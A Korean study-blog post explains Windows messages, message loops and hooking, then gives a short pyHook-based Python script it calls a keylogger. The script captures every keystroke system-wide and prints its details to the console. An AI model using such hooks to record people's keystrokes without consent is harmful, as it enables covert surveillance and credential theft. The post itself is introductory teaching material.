yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

윈도우 키로거 본문

개발/Python

윈도우 키로거

yehey 2020. 11. 15. 23:19

윈도우 메시지 (Windows message)

:사용자가 응용프로그램과 상호작용하기 위해 사용하는 이벤트와 운영체제의 이벤트를 말한다.

 

사용자의 이벤트: 마우스 클릭, 키 입력, 터치 스크린 제스처 등
운영체제 이벤트: 윈도우 저전력 모드 혹은 최대 절전모드로 전환 등

운영체제는 윈도우 메시지를 응용프로그램에 전달하여 응용 프로그램 창과 통신한다.

이때 메시지는 (특정 이벤트를 지정하는)숫자 코드로 전달된다.

운영체제는 해당하는 창의 프로시저를 통해 메시지를 올바르게 전달한다.

메시지 루프(Message Loop)

응용 프로그램은 실행되는 동안 수천 개의 메시지를 처리하게 되는데, 적절하게 메시지를 가져와서 올바른 창에 배포, 처리하기 위해 루프를 사용한다.

응용 프로그램의 창을 만드는 각 스레드에 대해 운영체제가 대기열(큐)을 생성한다.

큐는 해당 스레드에서 작성된 메시지를 보유하고 있고, GetMessage 함수로 메시지가 호출된다.

메시지 후킹(Message Hooking)

:윈도우 메시지(이벤트)를 가로채는 후크 프로시저를 통해 특정 유형의 이벤트를 인터셉트하고 각 이벤트에 대해 로깅이나 이벤트 수정 및 무시를 수행하는 작업

 

  • 윈도우 메시지가 응용 프로그램 창의 메시지 큐에 차례대로 담겨있다.
  • 메시지가 전달될 때 후크 프로시저를 거쳐 각 이벤트와 관련된 작업을 수행한다.
  • 수행이 끝나면 해당하는 응용 프로그램 창에 메시지를 전달한다. 

간단한 키로거 코드

pyhook이 있어야 코드가 실행되기 때문에 따로 설치를 해주어야 한다.

# source from https://sourceforge.net/p/pyhook/wiki/PyHook_Tutorial/ 
import pythoncom, pyHook

def OnKeyboardEvent(event): #후크 프로시저, 다양한 객체 프린트 
    print('MessageName:',event.MessageName)
    print('Message:',event.Message)
    print('Time:',event.Time)
    print('Window:',event.Window)
    print('WindowName:',event.WindowName)
    print('Ascii:',event.Ascii)
    print('Key:',event.Key)
    print('KeyID:',event.KeyID)
    print('ScanCode:',event.ScanCode)
    print('Extended:',event.Extended)
    print('Injected:',event.Injected)
    print('Alt:',event.Alt)
    print('Transition:',event.Transition)
    print('---')

    #return True to pass the event to other handlers
    return True

#후크 프로시저 세팅 
# create a hook manager
hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook, 후킹 프로시저 설치 
hm.HookKeyboard()
#wait forever, 계속 대기하면서 메시지 이벤트 처리 
pythoncom.PumpMessages()

 

위의 코드를 실행하면 event와 관련된 정보들이 출력된다. 

'개발 > Python' 카테고리의 다른 글

[Python] locust 부하테스트  (0) 2023.11.11
python으로 스택 문제 시도  (0) 2021.01.21
Unix 패스워드 트래커  (0) 2020.11.15
포트 스캐너 (스레드, Nmap, optparse)  (0) 2020.10.11
python을 이용한 백도어 개발  (0) 2020.09.28
Comments